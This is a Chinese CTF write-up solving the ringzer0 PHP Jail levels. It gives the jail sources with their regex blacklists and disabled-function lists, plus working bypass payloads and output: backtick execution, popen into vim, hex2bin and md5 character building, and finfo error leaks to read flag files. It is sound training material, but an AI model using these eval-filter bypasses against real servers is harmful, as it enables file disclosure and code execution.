ringzer0 CTF PHPJail分析
1315609050541697 发表于 湖北 CTF 442浏览 · 2024-09-04 14:18

最近打了ringzer0 CTF PHPJail挑战,题目非常有趣考察PHP的特性以及绕过奇淫技巧,下面是对PHPJail的多解分析

PHP Jail1

源码

<?php
array_shift($_SERVER['argv']);
$var = implode(" ", $_SERVER['argv']);

if($var == null) die("PHP Jail need an argument\n");

function filter($var) {
        if(preg_match('/(`|open|exec|pass|system|\$|\/)/i', $var)) {
                return false;
        }
        return true;
}
if(filter($var)) {
        eval($var);
        echo "Command executed";
} else {
        echo "Restricted characters has been used";
}
echo "\n";
?>

限制了一些命令执行函数但是可以读文件

echo(file_get_contents('flag.txt'));

PHP Jail2

<?php
array_shift($_SERVER['argv']);
$var = implode(" ", $_SERVER['argv']);

if($var == null) die("PHP Jail need an argument\n");

function filter($var) {
        if(preg_match('/(\/|a|c|s|require|include|flag|eval|file)/i', $var)) {
                return false;
        }
        return true;
}
if(filter($var)) {
        eval($var);
        echo "Command executed";
} else {
        echo "Restricted characters has been used";
}
echo "\n";
?>

发现过滤了字母s不能使用file_get_contents,过滤了c不能使用include_oncerequire_once

可以用反引号来执行more命令

print `more *`

或者我们可以用popen函数打开一个vim来读文件

popen('vim',w);
r flag.txt

PHP Jail3

源码

<?php
array_shift($_SERVER['argv']);
$var = implode(" ", $_SERVER['argv']);

if($var == null) die("PHP Jail need an argument\n");

function filter($var) {
        if(preg_match('/(`|\.|\$|\/|a|c|s|require|include)/i', $var)) {
                return false;
        }
        return true;
}
if(filter($var)) {
        eval($var);
        echo "Command executed";
} else {
        echo "Restricted characters has been used";
}
echo "\n";
?>

测试发现命令执行函数都被禁用了

使用highlight_file(),但是flag的字母被过滤了,可以使用glob来绕过

highlight_file(glob("fl*txt")[0]);

或者用编码绕过由于要输入在终端所以需要转义\

highlight_file("\\146\\154\\141\\147\\56\\164\\170\\164");

PHP Jail4

WARNING: the PHP interpreter is launched using php -c php.ini jail.php.
The php.ini file contain "disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,readfile,require,require_once,include,include_once,file"

<?php
array_shift($_SERVER['argv']);
$var = implode(" ", $_SERVER['argv']);

if($var == null) die("PHP Jail need an argument\n");

function filter($var) {
        if(preg_match('/(\'|\"|`|\.|\$|\/|a|c|s|require|include)/i', $var)) {
                return false;
        }
        return true;
}
if(filter($var)) {
        eval($var);
        echo "Command executed";
} else {
        echo "Restricted characters has been used";
}
echo "\n";
?>

我们仍可以用glob配合hightlight_file读文件的方式由于禁用了引号,可以用hex2bin绕过

php > print bin2hex('*');
    2a

但是出现了字母a被过滤了

Your input:
    highlight_file(glob(hex2bin(0x2a)));
    Restricted characters has been used

同时为了防止出现waf的字母,我们可以再套一层hex2bin

php > print bin2hex(bin2hex('*'));
    3261

先读取文件名字

Your input:
print_r(glob(hex2bin(hex2bin(3261))));
Array
(
    [0] => flag.txt
    [1] => jail.php
    [2] => php.ini
    [3] => prompt.sh
)

在读取文件

highlight_file(glob(hex2bin(hex2bin(3261)))[0]);

方法二

首先,我们需要 & in .a . flag.txt

Your input:
print_r(__FILE__);
/home/level4/jail.php(14) : eval()'d codeCommand executed

a & .已经在 中,但我们仍然需要将其分开。/home/level4/jail.php``/

Your input:
print_r(getenv(HOME)[0]);
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
/Command executed

我没有找到从 __FILE__中提取/的方法,所以我把它改成getenv(HOME)[0]

现在,让我们用来解析 & 。

Your input:
print_r(explode(getenv(HOME)[0],__FILE__));
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
Array
(
    [0] => 
    [1] => home
    [2] => level4
    [3] => jail.php(14) : eval()'d code
)
Command executed

Your input:
print_r(explode(getenv(HOME)[0],__FILE__)[0]);
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
Command executed

Your input:
print_r(explode(getenv(HOME)[0],__FILE__)[3][1]);
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
aCommand executed

Your input:
print_r(explode(getenv(HOME)[0],__FILE__)[3][4]);
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
.Command executed

explode(getenv(HOME)[0],__FILE__)[0]使用null``implode() 来连接所有字符。

explode(getenv(HOME)[0],__FILE__)[3][1]得到 charater :a

explode(getenv(HOME)[0],__FILE__)[3][4]获取 symbol :.

因此,最终有效负载应为

highlight_file(implode(explode(getenv(HOME)[0],__FILE__)[0], [fl,explode(getenv(HOME)[0],__FILE__)[3][1],g,explode(getenv(HOME)[0],__FILE__)[3][4],t,x,t]));
Your input:
highlight_file(implode(explode(getenv(HOME)[0],__FILE__)[0], [fl,explode(getenv(HOME)[0],__FILE__)[3][1],g,explode(getenv(HOME)[0],__FILE__)[3][4],t,x,t]));
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant fl - assumed 'fl' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant g - assumed 'g' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant t - assumed 't' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant x - assumed 'x' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant t - assumed 't' in /home/level4/jail.php(14) : eval()'d code on line 1
<code><span style="color: #000000">
FLAG-XXXXXX<br /></span>
</code>Command executed

方法三

让我们找到一个具有构造函数的类,该构造函数将 filename 作为参数,并使其返回错误消息 :finfo

new finfo(0,glob(hex2bin(hex2bin(3261)))[0]);

Flags (第一个参数)

  • FILEINFO_DEFAULT (0):默认模式,返回 MIME 类型。
  • FILEINFO_MIME (2):返回 MIME 类型和编码。
  • FILEINFO_MIME_TYPE (8):仅返回 MIME 类型。
  • FILEINFO_NONE (16):返回文件类型,不使用魔术数据库文件。
    #### 方法四

我们必须找到一种方法来生成我们选择的字符串,而无需“chr”,因为“c”被禁止。
我使用了“md5”,第二个参数为 1(原始输出)。当我们将数字值作为第一个参数传递时,此函数也可以工作。我们只需要为第一个参数找到一个值,输出包含我们选择的字符。我为此使用了这个小脚本。

for ($i=0; $i<1000; $i++) {
    $a = md5($i,1);
    if (strpos($a, '*') !== false) {
        echo strpos($a, '*') . '<br />';
        echo $i . '<br />';
        break;
}
}

我发现 md5(39,1)[8] === '*'

有了它,我们可以用 glob('*')链接,它将返回当前目录中的所有文件。然后与 gzfile('flag.txt') 链接,它将返回文件内容的数组。最后 print_r 用于将内容返回给我们。

除了hightlight_file我们还可以用gzfile最终有效载荷:

print_r(gzfile(glob(md5(39,1)[8])[0]));`

PHP Jail5

WARNING: the PHP interpreter is launched using php -c php.ini jail.php.
The php.ini file contain "disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,readfile,require,require_once,include,include_once,file"

<?php
array_shift($_SERVER['argv']);
$var = implode(" ", $_SERVER['argv']);

if($var == null) die("PHP Jail need an argument\n");

function filter($var) {
        if(preg_match('/(\_|\'|\"|`|\.|\$|\/|a|c|s|z|require|include)/i', $var)) {
                return false;
        }
        return true;
}
if(filter($var)) {
        eval($var);
        echo "Command executed";
} else {
        echo "Restricted characters has been used";
}
echo "\n";
?>

由于禁用了下划线,print_r highlight_file等函数不能使用

对于这个 PHP jail,我使用了 PHP 的 finfo 类。

构造函数采用两个参数,第一个是一个掩码,第二个是“魔法数据库文件”。
构造函数将尝试打开并解析那个文件。当我们给他标志文件的路径时,它会失败,但错误消息会给我们标志的内容。

可以使用MD5构造*或者hex2bin

new finfo(16,glob(md5(39)[8]));
new Finfo(0,glob(hex2bin(hex2bin(3261)))[0]);

结果如下

Your input:
new Finfo(0,glob(hex2bin(hex2bin(3261)))[0]);
PHP Notice:  finfo::finfo(): Warning: offset `FLAG-XXXXXX' invalid in /home/level5/jail.php(14) : eval()'d code on line 1
PHP Notice:  finfo::finfo(): Warning: type `FLAG-XXXXXX' invalid in /home/level5/jail.php(14) : eval()'d code on line 1
PHP Warning:  finfo::finfo(): Failed to load magic database at '/home/level5/flag.txt'. in /home/level5/jail.php(14) : eval()'d code on line 1
Command executed
0 条评论
某人
表情
可输入 255